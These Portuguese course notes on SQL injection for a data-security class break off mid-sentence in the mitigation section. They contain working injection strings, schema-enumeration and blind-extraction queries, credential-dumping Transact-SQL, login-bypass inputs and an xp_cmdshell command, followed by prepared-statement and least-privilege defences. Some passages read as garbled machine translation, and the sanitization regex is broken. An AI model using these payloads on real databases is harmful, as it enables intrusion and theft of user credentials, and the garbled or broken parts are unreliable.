Instituto Federal de Educação, Ciência e Tecnologia da Paraíba

Campus de Cajazeiras
Curso Superior de Tecnologia em Análise e Desenvolvimento de Sistemas
Disciplina: Segurança de Dados
Professor: Daladier Júnior Período: 6° - Manhã

Aplicações Web e SQL Injection

Atualmente, muitas empresas, os governos e a sociedade em geral dependem muito de aplicações

web. Todas essas aplicações web são acessadas usando o Internet e, assim, fazer face a riscos
associados com o uso da grande rede. Riscos associados com o uso da Internet são evidentes com o
aumento do número de incidentes registrados nos sites de segurança da Internet. Assim, todos os
nossos ativos de informações importantes estão em risco, com tendência crescente de invasores
para invadir sistemas computacionais [SITE_1].

Manifestos ativos da segurança da informação no uso de vários tipos de hardware, bem

como produtos de software, topologias de rede e configurações e aplicações seguras. Agora, os
gerentes de TI aceitaram que as aplicações web personalizadas, que são codificados de forma
insegura, representam o maior risco para os dados sensíveis.
Com melhor desempenho dos servidores de banco de dados a maioria das aplicações web
usam SGBDs. E as aplicações web permitem que seus usuários válidos para vender/ editar /
visualizar os dados armazenados em SGBDs, através da interface codificadas pelos programadores
de aplicativos. Tradicionalmente, os programadores foram treinados para escrever códigos
implementando as funcionalidades pretendidas, mas não estão conscientes nos aspectos de
segurança, sob vários aspectos. Portanto, temos interface insegura com os dados mais valiosas
armazenadas em SGBDs, devido às vulnerabilidades nas aplicações web chamada "SQL Injection".
Os atacantes se aproveitam da exposição, devido à vulnerabilidade de injeção SQL para interagir
com servidores SGBDs em SQL (Structured Query Language). Em outras palavras, isso significa
que os invasores são capazes de enviar instruções SQL para SGBDS, que os executa e retorna os
resultados de volta para o atacante. O risco destes ataques em aplicações comerciais aumentam, se o
aplicativo da web é entregue junto com o código fonte ou se é uma aplicação open-source. Onde o
atacante pode encontrar potenciais declarações vulneráveis, antes de lançar o ataque, bem como
meras falhas de programação ou esquecimento de diretivas de simples de segurança.

Este aula é centrada na educação dos profissionais de segurança com os riscos associados a
esta situação, tentando dar entendimento, sucinto, de vários tipos de ataques que o invasor poderá
lançar, além de um resumo das várias estratégias que podem ser avaliadas e aprovadas para proteger
os ativos de informações valiosas.

1.1 O que é SQL Injection

SQL Injection é um subconjunto das vulnerabilidades das entradas não verificadas/não sanitizadas
dos usuários, a idéia é convencer o aplicativo a executar o código SQL, o qual não estava previsto.
Se o pedido for criar strings SQL ingenuamente na mosca e, em seguida, executá-los, é simples para
criar algumas surpresas [SITE_2].
As quatro principais categorias de ataques de injeção SQL em bancos de dados, são:
1. Manipulação SQL: Manipulação é o processo de modificar os comandos SQL, usando
diferentes operações, como UNIÃO. Outra forma de execução do SQL Injection usando o método
de manipulação é alterar a cláusula where de uma instrução SQL, para obter resultados diferentes.
2. Injeção de código: Injeção de código é um processo de inserção de novas instruções SQL ou
comandos de banco de dados, nas instruções SQL vulneráveis. Um dos ataques de injeção de
código é acrescentar um comando EXECUTE SQL Server, na instruções SQL vulneráveis. Este
tipo de ataque só é possível quando várias instruções SQL por solicitação do banco de dados são
suportados.
3. Injeção em chamadas de função: Injeção em chamada de função é o processo de inserção de
várias chamadas de função em banco de dados dentro de instruções SQL vulneráveis. Essas
chamadas de função poderiam estar fazendo chamadas ao sistema operacional ou manipular os
dados num banco de dados.
4. Estouros de buffer (Buffer Overflow): Buffer overflow é causado pelo uso de injeção em
chamadas de função. Para a maioria dos bancos de dados comerciais e open source, as correções
estão disponíveis. Este tipo de ataque é possível quando o servidor está sem patch.

Todas as tecnologias de programação do lado servidor ou outras tecnologias web são suscetíveis a
este ataque, segue uma lista rápida das tecnologias: JSP, PHP, ASP, JavaScript, XML, XSL, VB,
MFC, outras ferramentas e APIs baseadas em ODBC, linguagens baseadas na 3ª e 4ª geração,
como: C, OCI, Pro* C e COBOL, além de scripts Perl e CGI ,que acessam bancos de dados Oracle.

2. Detecção da vulnerabilidade da Injeção SQL

A detecção de injeção SQL é difícil porque ela pode estar presente em qualquer uma das muitas
interfaces que o aplicativo apresenta ao usuário e não pode ser facilmente detectável. Portanto,
identificar e corrigir esta vulnerabilidade efetivamente garante verificar cada entrada, que aceita a
aplicação do usuário.

2.1 Como descobrir se o aplicativo é vulnerável ou não

Como mencionado antes, as aplicações web usam geralmente SGBDS para armazenar as
informações. As informações são armazenadas / recuperadas em SGBDS com a ajuda de instruções
SQL. Um erro comum feito pelos desenvolvedores é a utilização, informações fornecidas pelo
usuário na cláusula "Where" de uma instrução SQL ao recuperar a informação. Assim,
modificando a cláusula 'Where' com condições suplementares para esta cláusula vulnerável, onde
toda instrução SQL pode ser modificada. A tentativa bem sucedida para alcançar isto pode ser
verificada olhando para a saída gerada pelo servidor de banco de dados. Seguindo um exemplo de
modificação de uma cláusula Where poderia explicar melhor este assunto.

Se a URL de uma página web é:

1. http://www.prey.com/sample.jsp?param1=9 A instrução SQL da aplicação web que é usada

para recuperar as informações do banco de dados pode ser parecido com isto: SELECT coluna1,
coluna2 FROM tabela1 WHERE param1 = 9. Depois de executar esta consulta no banco de
dados retorna os dados em columns1 e column2 para as linhas que satisfazem a condição param1 =
9. Esta informação é processada pelo código do lado do servidor, como servlets, etc, e um
documento HTML é gerado para mostrar as informações.
2. Para testar a vulnerabilidade do aplicativo da web, o invasor pode alterar a cláusula Where,
modificando as entradas que o usuário insere, numa URL da seguinte forma.
http://www.prey.com/sample.jsp?param1=9 AND 1 = 1 e se o servidor de banco de dados
executa a seguinte consulta: SELECT coulmn1, coluna2 FROM tabela1 WHERE param1 = 9 AND
1 = 1. Se essa consulta também retorna as mesmas informações que antes, então a aplicação está
sujeita a injeção de SQL

2.2 Enumeração de consultas com erros de sintaxe

Muitos servidores web retornam o erro de sintaxe incorretos, juntamente com a parte da instrução
SQL que foi enviada ao servidor de banco de dados para execução. Esta situação constitui uma
oportunidade para o hacker gerar erros ao tentar várias combinações de entradas, para obter a
instrução SQL da mensagem de erro. Depois de obter a boa idéia sobre a instrução SQL existente
como este, o hacker pode tentar outras construções na injeção SQL.

Ataques de strings sugeridos são:

‘ Badvalue’ ‘ OR ‘ ‘ OR ; 9,9,9 ' or 0=0 -- " or 0=0 -- or 0=0 --

' or 0=0 # " or 0=0 # or 0=0 # ' or 'x'='x " or "x"="x ') or ('x'='x ' or 1=1-- " or 1=1-- or 1=1--
") or
hi") or ("a"="a ' or a=a-- " or "a"="a ') or ('a'='a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a
("a"="a
hi') or ('a'='a

As entradas maliciosas listadas acima podem ou não dar os mesmos resultados. Portanto, é
interessante tentar todas as entradas.

2.2.1 Analisando o conjunto de resultados

Depois de tentar injetar a aspa (') e as combinações mencionadas ou a tentativa de anexar a

condição E sempre verdadeiras, a mensagem retornada precisa ser analisada. Se a mensagem de
retorno contém algum tipo de erro de banco de dados, depois de injeção de SQL é definitivamente
bem-sucedida. No caso não há uma mensagem de erro direta no banco de dados, vale a pena
verificar nas páginas anteriores ou nas informações de cabeçalho palavras como ODBC, SQL
Server, MySQL, etc Todos os locais precisam ser verificadas, incluindo as variáveis ocultas.
Um aplicativo da web seguro que valida as entradas dos usuários e rejeita tais valores.
Assim, cada valor de entrada dos usuários devem causar erros que são manipulados pela aplicação e
nenhuma mensagem de erro insinuando falha do comando de banco de dados seriam exibidas para o
usuário. Se os erros de banco de dados foram diretamente exibidos para os usuários, que é o
comportamento padrão do ASP / JSP/ PHP, em seguida, o invasor, seria capaz de obter toda a
estrutura do banco de dados e ler dados no banco de dados, que a conta do usuário do aplicativo
pode potencialmente ler.

3. Mostrando informações de um Banco de dados

3.1 Conhecendo Tabelas/Colunas de um Banco de Dados

Todo atacante tenta obter informações a respeito do projeto de banco de dados do aplicativo de
destino, a fim de garantir a melhor oportunidade em lançar um ataque sistemático.
Vamos supor que há uma página ASP usada para o logon de usuário desenvolvida por um
programador muito ingênuo, em que não há tratamento personalizado de erro e o atacante descobriu
que a página é aberta para o ataque de injeção SQL, injetando " no campo username.
A página usa o seguinte comando SQL, para verificar as credenciais dos usuários no banco
de dados. Select * from users where username = '"+ Inp_username +"', password = '"+
Inp_password +" ";

3.1.1 Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 1

Primeiro, o atacante gostaria de estabelecer os nomes das tabelas que a consulta funciona e os
nomes dos campos. Para fazer isso, o atacante usa a cláusula "having" da instrução 'select':
Inp_username: 'having 1 = 1 - Isto provoca o seguinte erro:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list
because it is not contained in an aggregate function and there is no GROUP BY clause.

/mydir/process_login.asp, line 26
So the attacker now knows the table name and column name of the first column in the query.

3.1.2 Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 2

Eles podem continuar através das colunas introduzindo cada campo dentro de uma cláusula
'GROUP BY', como se segue:

Inp_username: group by users.id having 1 = 1 -- que produz o erro:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the

select list because it is not contained in either an aggregate function or the GROUP BY clause.

/mydir/process_login.asp, line 26

3.1.3 Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 3

Eventualmente, depois de usar a string: ' group by users.username 1 = 1 -- e recebendo a última

coluna (senha), o atacante chega à seguinte conclusão:

'Inpusername': 'group by users.id, users.username, users.password, users.privs having 1=1 –,

que não produz nenhum erro

Uma instrução SQL é funcionalmente equivalente a:

select * from users where username =''.
Portanto, o atacante já sabe que a consulta faz referência apenas a tabela 'users', e está usando as
colunas: "username, password, privs, id', nessa ordem.

3.1.4 Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 4

Seria útil poder determinar os tipos de cada coluna. Isto pode ser conseguido utilizando a mensagem
de erro de conversão de tipo, como este:
union select sum(users.username) from users--

Isso leva vantagem do fato que as tentativas de servidor SQL em aplicar a cláusula de soma
(SUM) antes de determinar se o número de campos nos dois conjuntos de linhas é igual. A tentativa
de calcular a "soma" dos resultados de um campo de texto resulta na mensagem:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation
cannot take a varchar data type as an argument.
/mydir/process_login.asp, line 26
Above message gives us that the 'username' field has type 'varchar'.

3.1.5 Conhecendo Tabelas/Colunas de um Banco de Dados - Etapa 5

Por outro lado, procuramos calcular SUM() de um tipo numérico, temos uma mensagem de erro
dizendo que o número de campos nos dois conjuntos de linhas não coincidem:
Inp_username: ' union select sum(id) from users --

Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]
All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.
/mydir/process_login.asp, line 26

Esta técnica pode ser usada para determinar o tipo de qualquer coluna de uma tabela no
banco de dados. Isso permite que o invasor crie uma consulta bem formada de inserção, como este:
Inp_username: ' ; insert into users values('attacker', 'foobar' , 66,3 ) –
Permitindo acesso ao atacante:

3.2 Pegando credenciais de outros usuários

Desde que o atacante está interessado em nomes de usuários e senhas, que são propensos a ler os
nomes de usuário / senhas de uma tabela 'users'. Isso também ilustra outro ponto; instruções
Transact-SQL podem ser na mesma linha, sem alterar seu significado. O script a seguir irá
concatenar os valores:
começar declare @ ret varchar (8000)
begin declare @ret varchar(8000)
set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select
@ret as ret into foo endA declaração acima após a execução cria uma tabela 'foo', que contém "ret"
a única coluna, e coloca a nossa seqüência para ele. Normalmente, mesmo um usuário com poucos
privilégios será capaz de criar uma tabela em um simples banco de dados, ou o banco de dados
temporário.
O atacante, então, seleciona a seqüência da tabela, como antes:
ret "union select ret,1,1,1 from foo--

E então apaga, deleta ou dropa (em alusão ao DROP) a tabela, desta forma:
Inpusername: '; drop table foo--

4. Ataques

Nesta seção, veremos vários ataques que exploram essa vulnerabilidade. Existem quatro tipos de
ataques de SQL Injection. Vamos ver os ataques de cada tipo nesta seção. Todos estes tipos de
injeção de SQL são válidos para bancos de dados como MS SQL Server, Oracle, DB2, MySQL e
PostgreSQL.

4.1 Autorização by-pass (manipulação SQL)

Essa técnica daria ao atacante o acesso com os privilégios do primeiro usuário no banco de dados.
Este ataque poderia ser usado para passar pela tela de logon.

A instrução SQL usada pelo aplicativo é:

1. SQL= “SELECT Username FROM Users WHERE Username=

”&strInputUsername&”’AND Password = ‘”&strInputPassword&”’”
2. StrAuthorizationChk = ExecQuery(SQL);
3. If StrAuthorizationChk= “” then
4. BoolAuthnticated = False;
5. Else
6. BoolAuthenticated = True;
7. EndIf

O código acima mostra uma instrução SQL usada para autenticação. Esta instrução SQL tem duas
entradas: strInputUsername e strInputPassowrd. Esta consulta tenta encontrar nome de usuário na
tabela de usuários que tem coluna Nome com valor igual a strInputUserName e valor na coluna
Password igual strInputPassword. Após a execução desta instrução na linha 2, se for encontrada
uma correspondência a seqüência StrAuthorizationChk terá o nome de usuário nele.

Programa de lógica nas linhas 3 a 7 é simplesmente declarar o usuário autenticado ou não. Se não
houver a validação da entrada, de modo que nunca depois de uma entrada pode haver quaisquer
caracteres. Assim, as entradas podem ser modificados de tal forma que mesmo que não se conhece
um usuário válido e sua senha, ele iria ficar autenticado. Ao introduzir os seguintes valores.

Login name : ‘OR “=’

Password : ‘OR “=’
'

Isso vai mudar consulta SQL, da seguinte forma

SELECT Username from Users WHERE Username = “OR “=” AND Password =” OR “=”
Esta consulta acaba encontrando um usuário, onde Usuário é branco ou "=" "nada" ou seja, é igual a
"nada" que é sempre verdadeira e mesmo para password. Desde que a primeira linha da tabela vai
satisfazer o critério da consulta, ela vai ser selecionada. E sem username e senha válidos poderiam
realizar o login.

4.2 Explorando SELECT

Para a maior parte na vida real, a injeção de SQL não é tão simples como o que é mostrado acima.
A maioria dos atacantes vezes iria ver alguma mensagem de erro e vai ter que fazer engenharia
reversa de suas consultas. Para isso é preciso saber interpretar as mensagens de erro e como
modificar a seqüência de injeção.

4.2.1 Direto vs Marcado (Manipulação SQL)

Estes dois tipos de injeção de SQL são diretos ou citados. No ataque direto os dados de entrada se
tornam parte da instrução SQL formado pela aplicação. Para manipular as instruções SQL neste tipo
o invasor tem que simplesmente adicionar espaço ('') e OR para a entrada. Após a execução, se a
mensagem de erro é retornada, em seguida, a injeção foi bem sucedida. Os valores poderiam ser
utilizados diretamente na cláusula WHERE, como:
SQL = "SELECT título, autor, publicação de livros onde ISBN =" & InputISBNNum
OU
SQL = "SELECT título, autor, publicação de livros de encomendas por" & strInputColumn
Todas as outras injeções possíveis são citadas declarações SQL. Em injecção citou a cadeia injetou
tem um orçamento anexado a ela gosta.
SQL = "SELECT título, autor, publicação de livros onde ISBN =" strInputISBN & "'"
A fim de manipular seqüência da instrução SQL de entrada com êxito deve conter uma única
citação 'antes do uso da palavra-chave SQL primeiro e termina em uma declaração WHERE que
precisa de aspas simples anexado a ela.
O código que usou estas entradas sem validação está abaixo:
{
objDB = getDBManager();
sqlQuery = new StringBuffer("SELECT 1 FROM ");
sqlQuery.append(DBTableName.USERINFO);
sqlQuery.append(" WHERE USERNAME = '");
sqlQuery.append(userName);
sqlQuery.append("' AND PASSWORD = '");
sqlQuery.append(password);
sqlQuery.append("'");
}

Depois de executar este ataque o pedido concede ao atacante acesso completo ao aplicativo com o
papel de SA como abaixo:

4.2.2 União Básica (Manipulação SQL)

A maioria das aplicações web usam as instruções SELECT para recuperar dados do banco de dados.
Também em muitas sitações entradas de usuário se tornariam parte da cláusula WHERE das
instruções SELECT. Por exemplo:
SQL = "SELECT Title, Author, Publishing from Books WHERE ISBN = ‘ ” & strInputISBN & “ ‘
”
A instrução SQL acima tem uma seqüência strInputISBN do usuário. Numa básica UNIÃO SQL o
ataque de injeção de comandos SQL a string dará entradas que não irão retornar nenhum resultado
para a instrução SQL original, mas irá retornar as linhas do conjunto de resultados da instrução SQL
injetado usando UNION ALL. Se na entrada do usuário acima SQL da consulta é
‘UNION ALL SELECT Price, Quantity From Pricing_Table WHERE ‘ ’ = ‘ ‘
Como resultado da consulta formada pela aplicação a ser executada no banco de dados será:
SELECT Title, Author, Publishing from Books WHERE ISBN = ‘ ‘ UNION ALL SELECT Price,
Quantity From Pricing_Table WHERE ‘ ’ = ‘ ‘
O servidor de banco de dados tenta buscar através da tabela de Books um livro que tem um número
ISBN em branco, que é um caso muito improvável. Esta consulta original normalmente não
retornou nenhum resultado. Depois do banco de dados a segunda instrução SELECT é executada,
selecionando todos os valores de alguma outra tabela porque a cláusula WHERE é sempre satisfeita
para esta segunda consulta. Posteriormente, a cláusula UNION ALL é usada, mas não elimina todas
as linhas do conjunto de resultados e retorna todas as linhas para o hacker.

4.2.3 Encontrando o papel usando SELECT (Injeção chamada de função)

Muitas empresas liberam notícias para a imprensa (press releases) através do seu portal.
Normalmente o usuário requisita um comunicado de imprensa em uma URL, ficando assim:
http://www.somecompany.com/PressRelase.jsp?PressRealeaseID=5
A instrução SQL utilizada pela aplicação ficaria assim
Select title, description, releaseDate, body from pressRelease WHERE pressRelaseID=5
O servidor de banco de dados retorna todas as informações solicitadas correspondentes à quinta
notícias liberada à imprensa. Esta informação é formatada pelo aplicativo em uma página HTML e
fornecida ao usuário.

Se a string injetada é 5 e 1 = 1 e a aplicação ainda retorna o mesmo documento, em seguida, a

aplicação está sujeita a ataque de injeção SQL.
Idealmente um aplicativo usa métodos como uma declaração preparada teria rejeitado esse valor por
causa da incompatibilidade de tipo.
Esta vulnerabilidade pode ser explorada para saber se o usuário do aplicativo é DBO no banco de
dados, enviando pedido que seria assim
Select title, description, releaseDate, body from pressRelease WHERE pressRelaseID=5 AND
USER_NAME()=’dbo’ USER_NAME() is MS SQL Server
que retorna o nome do usuário atual. Se o usuário atual é 'dbo', a pedido do irá avaliar a release
verdadeira e a notícia seria mostrada.
Caso contrário a consulta iria falhar e a notícia não seria exibida.

4.2.4 Encontrando a tabela de usuários usando SELECT (Code Injection)

No caso do servidor de banco de dados não suportar múltiplas instruções SQL como Oracle. Depois
de descobrir informação, tais como tabelas de usuário podemos usar a técnica a seguir.
Continuando com o exemplo acima para identificar um usuário numaa tabela. A URL requisitada
ficaria assim:

1. Pegar o primeiro caractere da tabela user – Passo 1

http://www.somecompany.com/PressRelase.jsp?PressRealeaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name from sysobjects WHERE xtype=’U’), 1,1)))>109
Está pedindo o nome da tabela do usuário em primeiro lugar no banco de dados. A função substring
irá retornar o primeiro caractere da tabela do usuário retornado pela consulta. A função lower irá
converter os caracteres para letras minúsculas. Finalmente ascii () irá retornar o valor ASCII do
carácter.
Se a aplicação retorna a 5ª notícia de imprensa em resposta a essa consulta, em seguida, nós
sabemos que a primeira letra da tabela de usuário inicia o primeiro caractere depois de 'm' (ASCII
109) no alfabeto. Fazendo várias solicitações, nós podemos determinar o valor ASCII preciso.

2. Pegar primeiro caractere da tabela user – Passo 2

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116

Se nenhum notícia é devolvida, o valor ASCII é maior que 109, mas não superior a 116. Assim, o
caractere está entre "n" (110) e "t" (116).

3. Pegar primeiro caractere da tabela user – Passo 3

Então vamos continuar com nossos esforços para determinar a primeira letra e estreitar ainda mais
para baixo:

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 113

Outra afirmação falsa. Sabemos agora que o caractere está entre 110 e 113.

4. Pegar primeiro caractere da tabela user – Passo 4

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 111

Falso novamente. A escala é reduzida a duas letras: 'n' e 'o' (110 e 111).
5. Pegar primeiro caractere da tabela user – Passo 5

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) = 111

O servidor retorna a notícia, assim que a afirmação é verdadeira! A primeira letra do resultado da
consulta (e o nome da tabela) é "o." Para recuperar a segunda letra, repita o processo "Conseguir o
primeiro caractere da tabela do usuário" passo 1-5, mas alterar o argumento segundo o substring ( )
de modo que o próximo caractere do resultado é extraído: (mudar sublinhado (underlined))

http://www.thecompany.com/pressRelease.jsp?pressReleaseID=5 AND
ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 2 , 1))) > 109

Repita esse processo até que toda a string seja extraída.

4.2.5 Parênteses (manipulação SQL)

Se a mensagem de retorno de erro pelo servidor contém um parêntese, como neste caso em que a
mensagem de erro diz Unclosed quotation (Aspas não fechada) antes da seqüência de caracteres "),
Ou uma mensagem de erro pode dizer que está faltando parênteses. Neste caso de ausência de
parênteses, a seqüência de injeção pode precisar conter o parêntese na parte ruim de valor e na sua
cláusula where. Em alguns casos, um ou mais parênteses podem precisar serem adicionados.

4.2.6 Consultas com LIKE (Injeção de código)

Muitos desenvolvedores tendem a escrever consultas usando a cláusula LIKE. O uso da cláusula
LIKE se pode adivinhar, vendo % ou LIKE de palavras-chave nas mensagens de erro nos bancos de
dados.
Exemplo de consulta: SELECT product_name FROM all_products WHERE product_name like
'%Chairs%'

O atacante tenta manipular a instrução SQL para executar como:

SELECT product_name FROM all_products WHERE product_name like '%'%'

A consulta acima irá substituir a seqüência de entrada Chairs para a consulta e irá procurar todos os
registros que tenham uma seqüência de entrada qualquer, com os valores product_name. Se o
atacante injeta a seqüência mostrada acima, o atacante se obtém todos os dados sensíveis.

4.2.7 Número de Coluna Incompatível (Injeção de código)

Ataque usando declaração UNION, como mostrado acima. Portanto, se a consulta original é
Exemplo de consulta: SELECT product_name FROM all_products WHERE product_name like
'&Chairs&' "
Em seguida, o ataque seria
SELECT product_name FROM all_products WHERE product_name like '' UNION ALL SELECT
9,9 FROM SysObjects WHERE ‘’ = ‘’
A consulta acima daria erros que indicam que não há incompatibilidade no número de colunas e
seus tipos de dados na união da tabela sysobjects e as colunas que são especificados usando 9. O
erro "Operand type mis-match" se dá principalmente porque os dados incompatíveis na cláusula
UNION causou a string injetada. Outro erro que podemos ver é "Todas as consultas em uma
instrução SQL que contém um operador UNION devem ter um número igual de expressões em sua
lista de destino" é porque o número de colunas não é compatível.

Após o julgamento de vários erros e uma declaração LIKE possa vir a suceder.
SELECT product_name FROM all_products WHERE product_name like '' UNION ALL SELECT
9,9, 9,’ Text’, 9 FROM SysObjects WHERE ‘’ = ‘’
Conjunto de resultados da consulta acima irá mostrar todas as linhas na tabela sysobjects e também
irá mostrar os valores de linha constante para cada linha na tabela sysobjects definida na consulta.

4.2.8 Cláusula WHERE adicional (injeção de código)

Às vezes pode haver mais de uma condição WHERE na instrução SQL que é adicionado após a
seqüência de injeção.
SELECT firstName, LastName, Title from Employees WHERE City = ’ “& strCity &” ‘ AND
Country = ‘INDIA’ “
Na primeira tentativa, após injetar a string, a consulta resultante seria semelhante a:

SELECT firstName, LastName, Title from Employees WHERE City = ‘NoSuchCity’ UNION ALL
Select OtherField from OtherTable WHERE 1 = 1 AND Country = ‘USA’

A consulta acima irá resultar em uma mensagem de erro como esta:

Country’ because ‘OtherTable’ does not have a column called ‘Country’. Para resolver este
problema poderia usar um ";--" para se livrar do resto da seqüência de consulta no caso do servidor
ser o MS SQL Server.
Se o pedido não está usando o MS SQL Server, use as consultas da seção 3.2.3 para obter o máximo
como resultado. Se for bem sucedido em encontrar a tabela da qual a coluna na cláusula WHERE
adicional está, então adicione a tabela na cláusula FROM.

4.2.9 Enumeração do nome da Tabela e do Campo

Em caso do MS SQL Server sysobjects armazenar os nomes de todas as tabelas e as informações

armazenadas nas colunas syscolumns correspondentes. Para obter uma lista das tabelas de usuário e
colunas correspondentes usam a seguinte consulta SQL:
Select name from sysobjects where xtype= ‘U’.
A consulta acima retornará todas as tabelas definidas pelo usuário que está com xtype = 'U' no
banco de dados. Suponha que haja necessidade de descobrir os nomes das colunas da tabela
"Orders", em seguida, obter os nomes de coluna correspondente usando a consulta:
Select name from syscolumns where id = (select id from sysobjects where name = ‘Orders’)

4.3 Exploração de Inserção

4.3.1 Fundamentos da Inserção

Muitos sites, como quadros de avisos, carrinho de compras, o registro do usuário tomam as entradas
do usuário e armazená-as e depois os exibe para outros usuários. O que significa, essencialmente, as
entradas de usuários são armazenados no backend, utilizando a instrução INSERT. O abuso das
declarações INSERT traz como resultado que atacante adiciona várias linhas no banco de dados
com dados corrompidos. Se o administrador monitora o conteúdo do banco de dados, então as
inserções podem ser detectadas. Ataques no backend utilizando declarações INSERT são um pouco
diferentes do Select.
4.3.2 Injetando no subselect

Normalmente, uma instrução INSERT fica assim: Insert into TableName Values (‘ValueOne’,
‘valueTwo’, ‘valueThree’);

Suponha que a amostra de instrução SQL é utilizada pelo aplicativo.

INSERT INTO TableName Values (‘ “ & strvalueOne & “ ‘ , ‘ “ & strvalueTwo & “ ‘ )”
E os valores que são introduzidos pelo usuário são:
Name: ‘ + (SELECT TOP 1 Fieldname from TableName) + ‘
Email: xyz@xyz.com
Phone: 24042364
A instrução SQL resultante se parece com isso:
INSERT INTO tableName values (‘ “ ‘ + (SELECT TOP 1 Fieldname FROM tableName ) + ’ ‘ ,
‘xyz@xyz.com’ , ‘240402364’)
Onde essa informação exibida para o usuário, geralmente em lugares como páginas onde o usuário
tem permissão para editar as informações. No ataque acima o primeiro valor do FieldName será
exibido no lugar do nome do usuário. Se TOP 1 não for utilizado, haverá uma mensagem de erro
"subselect retornou muitas linhas". O atacante pode passar por todos os registros usando a cláusula
NOT IN.

4.4 Explorando Procedimentos armazenados do sistema (Chamada de função)

A maioria dos bancos de dados usam procedimentos armazenados para executar muitas operações
de administração. Se o atacante for capaz de injetar string SQL com êxito, em seguida, o atacante
pode explorar esses procedimentos armazenados. O acesso aos procedimentos armazenados
depende dos privilégios de acesso do usuário do aplicativo no banco de dados. Na maioria das vezes
que um procedimento armazenado é executado com êxito, não pode haver nenhuma saída na tela
como faria no caso de uma instrução SQL normal.

Por exemplo:

SomeAsp.asp?city=pune’; EXEC master.dbo.xp_cmdshell’ cmd.exe dir c:

Sample stored procedure
4.4.1 Xp_cmdshell
Xp_cmdshell {‘command string’} { , no_output}

Master.dbo.xp_cmdshell recebe um único argumento, que é o comando a ser executado no nível do

servidor SQL do usuário. Isso não vai estar disponível a menos que o usuário do aplicativo no
banco de dados é o administrador do sistema.

4.5 Buffer overflow

Exemplo de vulnerabilidade no produto, como o MS SQL Server 2000

Um buffer overflow foi relatado no console de comandos (DBCCs) do banco de dados, que vêm
com o Microsoft SQL Server 7.0/2000. Esse problema pode ser explorado para executar código
arbitrário com os privilégios do processo do SQL Server. Esta vulnerabilidade pode ser explorada
por qualquer usuário autenticado SQL.

5. Mitigação
Mitigação de vulnerabilidade de injeção SQL estaria tomando um dos dois caminhos, quer seja
através de procedimentos armazenados, junto com as declarações exigívéis ou com instruções
preparadas com comandos SQL dinâmicas. Independentemente da forma como é adotada a
validação de dados é necessária.

5.1 Na validação de entrada

5.1.1 Higienização de Dados

A sanitização dos dados é fundamental. A melhor maneira de higienizar os dados é a utilização de

negação por padrão de uma expressão regular. A expressão regular a seguir iria retornar apenas
letras e números:

S/[^0-9a-zA-z//g

Escrever filtros específicos. Use números, números e letras tanto quanto possível. Se houver a
necessidade de incluir sinais de pontuação de qualquer natureza, converta-os em HTML e
codifique-os. De modo que " torne-se ou "" ou > torne-se ">". Por exemplo, se o usuário está
enviando o endereço de e-mail só permitem @,-,. E _ em adição de números e letras para ser usado
e só depois de terem sido convertidos para seus substitutos em HTML.

5.2 Uso de instruções preparadas

As demonstrações preparadas devem ser utilizadas quando os procedimentos armazenados não

podem ser usados por qualquer motivo e comandos SQL dinâmicos têm de ser utilizados.
Use um PreparedStatement para enviar instruções SQL pré-compilada com um ou mais parâmetros.
Detentores de lugar do parâmetro em uma declaração preparada são representados pelos ? e são
chamados de variáveis de vinculação. Declaraões preparadas geralmente são imunes a ataques de
injeção SQL, o banco de dados irá utilizar o valor da variável vinculada exclusivamente e não
interpretará o conteúdo da variável de forma alguma. PL / SQL e JDBC permitem declarações
preparadas. As declarações preparadas devem ser amplamente utilizadas, tanto por razões de
segurança e desempenho.

5.2.1 Como fazer (Java)

Criar um objeto PreparedStatement, especificando a definição de modelo e espaços reservados de

parâmetro. Os dados dos parâmetros são inseridos no objeto PreparedStatement chamando seus
métodos de setXXX e especificando o parâmetro e seus dados. As instruções SQL e os parâmetros
são enviados para o banco de dados quando o método é chamado executeXXX.

Este segmento de código cria um objeto PreparedStatement para selecionar os dados do usuário,
com base no endereço de e-mail do usuário. O ponto de interrogação ("?") indica esta afirmação
tem um parâmetro.

PreparedStatement pstmt = con.prepareStatement(“select theuser from registration where

emailaddress like ?");
//Initialize first parameter with email address
pstmt.setString(1, emailAddress);
ResultSet results = ps.executeQuery();
Uma vez que o modelo de PreparedStatement é inicializado, somente os valores alterados são
inseridos para cada chamada.
pstmt.setString(1, anotherEmailAddress);

Nota: Nem todos os drivers de banco de dados compilam declarações preparadas.

5.3 Uso mínimo de privilégios

Certifique-se que o usuário de uma aplicação específica possua direitos mínimos no servidor de
banco de dados. Se o usuário do aplicativo no banco de dados utiliza ROOT / SA / dbadmin / dbo
no banco de dados, então, que certamente precisa ser revista se o usuário realmente precisa de uma
quantidade de privilégios da aplicação tão elevado ou eles podem ser reduzidos. Não dê a permissão
de usuário do aplicativo para acessar o sistema de procedimentos armazenados, que permitem o
acesso a esses que são criados pelos usuários.

5.4 Os procedimentos armazenados

Para garantir uma aplicação contra injeção de SQL, os desenvolvedores não devem permitir que os
